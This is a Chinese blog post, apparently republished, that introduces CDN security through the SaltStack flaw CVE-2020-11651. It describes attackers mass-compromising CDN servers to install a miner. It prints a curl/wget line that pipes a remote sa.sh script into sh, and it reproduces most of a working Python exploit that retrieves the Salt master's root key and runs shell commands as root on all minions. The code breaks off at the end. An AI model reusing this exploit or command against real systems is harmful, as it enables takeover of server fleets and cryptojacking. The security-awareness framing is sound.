【干货】通过SaltStack漏洞这个药引子,聊聊CDN网络安全防护
优采云 发布时间: 2021-07-16 04:17
【干货】通过SaltStack漏洞这个药引子,聊聊CDN网络安全防护
前言
今天通过SaltStack漏洞的介绍,来聊聊CDN网络安全防护的话题。先说CDN的定义:Content Delivery Network,内容分发网络,它给用户带来的价值,加速静态或动态内容的获取,典型应用场景,软件安装在360安全卫士,后台使用的CDN网络例如,在流行的抖音短视频中,用户在某处上传视频后,数亿用户可以快速看到。很难想象,如果这个短视频在服务器上,几千万人可以同时观看。下载,网络拥塞延迟多少?
我们来谈谈 SaltStack,它是服务器基础设施的集中管理平台。它可以在几分钟内启动并运行。速度极快,服务器间通信秒级,扩展性好,轻松批量管理数万台服务器。 ,显着降低人工和运维成本。它是puppet的简化版,saltstack基于Python语言实现,结合轻量级消息队列(ZeroMQ)、Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建,SaltStack是一套C为/S架构的运维工具,服务端口默认为4505/4506。如果这两个端口都对外开放,危害很大。
目前,大多数商业 CDN 都使用 SaltStack 作为软件分发系统。黑客可以利用SaltStack的远程命令执行漏洞CVE-2020-11651直接绕过Salt-Master认证机制,调用相关函数向Salt-Minion发出指令执行系统命令,最终导致挖矿。
攻击详情
1、通过网络空间搜索引擎等获取外网开发SaltStack master的主机列表
2、 通过 cve-2020-11651.py 批量执行,下载 sa.sh 脚本。获取主密钥后,该命令将在几分钟内传输到连接到 CDN 服务器的客户端。 *山云大约有数千台机器以这种方式感染。 (curl -s x.x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh
定义 ping_master():
print("Attempting to ping master at "+master_ip)
try:
msg = {"cmd":"ping"}
response = clear_channel.send(msg, timeout=3)
if response:
return True
except salt.exceptions.SaltReqTimeoutError:
return False
return False
def get_rootkey():
try:
response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
for i in response:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
print("Retrieved root key: " + rootkey)
return rootkey
return False
except:
return False
def send_command_to_minions(command):
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(command)
msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}
try:
response = clear_channel.send(msg,timeout=3)
if response == None:
return True
else:
return False
except:
return False
def master_shell(root_key,command):
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = clear_channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False
if name=="main":
<p>if len(sys.argv)